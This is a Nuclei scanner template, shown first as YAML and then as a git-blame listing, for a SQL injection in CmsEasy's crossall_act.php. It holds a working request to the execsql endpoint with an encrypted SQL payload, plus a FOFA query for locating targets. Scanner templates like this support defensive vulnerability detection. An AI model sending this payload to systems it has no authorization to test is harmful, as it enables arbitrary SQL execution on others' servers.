nuclei-templates/http/vulnerabilities/other/cmseasy-crossall-act-sqli.yaml

id: cmseasy-crossall-sqli

info:
  name: CmsEasy crossall_act - SQL Injection
  author: SleepingBag945
  severity: high
  description: |
    CmsEasy crossall_act.php SQL Injection Vulnerability. CmsEasy has a SQL injection vulnerability. Any SQL command can be executed by encrypting the SQL statement in the file service.php.
  reference:
    - https://cn-sec.com/archives/1580677.html
    - https://github.com/GREENHAT7/pxplan/blob/e2fc04893ca95e177021ddf61cc2134ecc120a8e/goby_pocs/CmsEasy_crossall_act.php_SQL_injection_vulnerability.json#L28
  classification:
    cpe: cpe:2.3:a:cmseasy:cmseasy:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: cmseasy
    product: cmseasy
    fofa-query: app="CmsEasy"
  tags: cmseasy,sqli

http:
  - method: GET
    path:
      - "{{BaseURL}}/?case=crossall&act=execsql&sql=WY8gzSfZwW9R5YvyK"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{"123":"123"}'

      - type: status
        status:
          - 200
# digest: 490a00463044022034598e7129b54ed24808bf59bbfa7d1546c177565a9157625120efdb3e5eeb6602207a38f3ac7f6be84497ebd57fa908347868c0080a379f629ec568b5724cbb7dcf:922c64590222798bb761d5b6d8e72950
Updated assigned templates 2023-09-08 11:25:00 +00:00			`id: cmseasy-crossall-sqli`
Added some Templates 2023-08-18 03:22:06 +00:00
			`info:`
Updated assigned templates 2023-09-08 11:25:00 +00:00			`name: CmsEasy crossall_act - SQL Injection`
Added some Templates 2023-08-18 03:22:06 +00:00			`author: SleepingBag945`
			`severity: high`
			`description: \|`
Updated assigned templates 2023-09-08 11:25:00 +00:00			`CmsEasy crossall_act.php SQL Injection Vulnerability. CmsEasy has a SQL injection vulnerability. Any SQL command can be executed by encrypting the SQL statement in the file service.php.`
			`reference:`
			`- https://cn-sec.com/archives/1580677.html`
			`- https://github.com/GREENHAT7/pxplan/blob/e2fc04893ca95e177021ddf61cc2134ecc120a8e/goby_pocs/CmsEasy_crossall_act.php_SQL_injection_vulnerability.json#L28`
Fix classification Fix classification 2024-09-10 09:08:16 +00:00			`classification:`
			`cpe: cpe:2.3:a:cmseasy:cmseasy::::::::`
Added some Templates 2023-08-18 03:22:06 +00:00			`metadata:`
Updated assigned templates 2023-09-08 11:25:00 +00:00			`verified: true`
templateman update 2023-10-14 11:27:55 +00:00			`max-request: 1`
Add missing cpes Added missing cpes 2024-09-10 08:22:50 +00:00			`vendor: cmseasy`
Fix classification Fix classification 2024-09-10 09:08:16 +00:00			`product: cmseasy`
			`fofa-query: app="CmsEasy"`
Updated assigned templates 2023-09-08 11:25:00 +00:00			`tags: cmseasy,sqli`
Added some Templates 2023-08-18 03:22:06 +00:00
			`http:`
Updated assigned templates 2023-09-08 11:25:00 +00:00			`- method: GET`
			`path:`
			`- "{{BaseURL}}/?case=crossall&act=execsql&sql=WY8gzSfZwW9R5YvyK"`
Added some Templates 2023-08-18 03:22:06 +00:00
			`matchers-condition: and`
			`matchers:`
			`- type: word`
Updated assigned templates 2023-09-08 11:25:00 +00:00			`part: body`
Added some Templates 2023-08-18 03:22:06 +00:00			`words:`
			`- '{"123":"123"}'`

			`- type: status`
			`status:`
templateman update 2023-10-14 11:27:55 +00:00			`- 200`
chore: sign templates 🤖 2024-09-12 05:14:01 +00:00			`# digest: 490a00463044022034598e7129b54ed24808bf59bbfa7d1546c177565a9157625120efdb3e5eeb6602207a38f3ac7f6be84497ebd57fa908347868c0080a379f629ec568b5724cbb7dcf:922c64590222798bb761d5b6d8e72950`